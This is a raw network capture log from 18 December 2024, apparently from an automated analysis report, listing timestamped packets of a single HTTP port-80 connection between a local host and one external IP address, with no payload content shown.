Dec 18, 2024 13:49:52.118457079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.118520021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.119119883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.119304895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.119402885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.120076895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.120295048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.120362043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.121094942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.121304035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.121354103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.122133970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.122561932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.122749090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.123101950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.123680115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.123761892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.124145985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.124351025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.124736071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.125145912 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.125403881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.125468969 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.126132011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.126564026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.126651049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.127135992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.127490044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.127563000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.128118992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.128438950 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.128521919 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.129101992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.129398108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.129479885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.130203962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.130629063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.130795956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.131192923 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.131452084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.131516933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.132286072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.132417917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.132476091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.133326054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.133599043 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.133692980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.134449005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.134551048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.134634018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.135281086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.135452032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.135538101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.136262894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.136461973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.136511087 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.137546062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.137721062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.137815952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.138187885 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.138566017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.138641119 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.139266968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.139456034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.139553070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.140248060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.140544891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.140608072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.141244888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.141462088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.141587973 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.142252922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.142468929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.142822027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.143332958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.143591881 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.143661022 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.144435883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.144586086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.144643068 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.145500898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.145651102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.145766020 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.146433115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.146600008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.146691084 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.147237062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.147615910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.147681952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.148332119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.148578882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.148643970 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.149260998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.149617910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.149688005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.150361061 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.150527000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.150593042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.151262045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.151475906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.151539087 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.152312040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.152570009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.152648926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.153315067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.153534889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.153606892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.154362917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.154635906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.154753923 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.155293941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.155628920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.155728102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.156338930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.156512022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.156609058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.157295942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.157614946 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.157669067 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.158332109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.158819914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.158885002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.159385920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.159550905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.159667015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.160350084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.160567045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.160768032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.161398888 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.161580086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.161631107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.162313938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.212548971 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.303117990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.303325891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.303436041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.303757906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.303987026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.304040909 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.304368973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.304887056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.305212975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.305270910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.305785894 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.305938005 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.305941105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.306571007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.306610107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.306792021 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.307548046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.307595968 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.307799101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.308710098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.308831930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.308980942 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.309498072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.309636116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.309701920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.310298920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.310621023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.310636044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.311510086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.311651945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.311722040 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.312427998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.312498093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.312697887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.313345909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.313534975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.313575029 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.314270973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.314357042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.314526081 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.315618038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.315808058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.315928936 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.316270113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.316327095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.316437960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.317049980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.317095041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.317188978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.317825079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.317986012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.318119049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.318680048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.318731070 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.318973064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.319504976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.319597960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.319700003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.320506096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.320560932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.320702076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.321522951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.321594954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.321723938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.322566032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.322618008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.322772980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.323549032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.323618889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.323824883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.324528933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.324568033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.324847937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.325592041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.325773001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.325783014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.326513052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.326704025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.326728106 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.327512980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.327574015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.327718973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.328527927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.328640938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.328969002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.329586983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.329667091 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.329863071 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.330542088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.330671072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.330843925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.331537962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.331581116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.331784964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.332639933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.332724094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.332772017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.333566904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.333616972 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.334005117 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.334666014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.334754944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.334800959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.335604906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.335688114 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.335833073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.336592913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.336644888 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.336853981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.337670088 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.337769985 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.337816000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.338604927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.338766098 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.338820934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.339607000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.339648008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.339823961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.340662956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.340789080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.340833902 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.341690063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.341777086 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.341845989 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.342619896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.342751980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.342838049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.343698978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.343766928 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.343919039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.344686031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.344877958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.345012903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.345694065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.345761061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.345849037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.346640110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.346734047 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.346988916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.347645998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.347704887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.347862005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.348684072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.348794937 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.348989964 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.349673033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.349725008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.349950075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.350881100 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.350967884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.350981951 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.352005005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.352056026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.352076054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.352720976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.352777958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.353023052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.400047064 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.478245020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.478288889 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.478565931 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.613126993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.665735960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.717418909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.717441082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.717505932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.717931986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.718036890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.718126059 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.719485998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.719502926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.719515085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.719558954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.720534086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.720550060 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.720612049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.721630096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.721646070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.721685886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.723398924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.723416090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.723499060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.724405050 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.724421024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.724580050 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.725694895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.725713015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.725724936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.725755930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.725780964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.726485014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.726511002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.726597071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.727448940 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.727466106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.727797985 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.728423119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.728449106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.728543997 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.729639053 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.729652882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.729669094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.729758024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.730796099 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.730811119 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:52.730868101 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:52.732053041 CET	80	49822	176.113.115.178	192.168.2.6
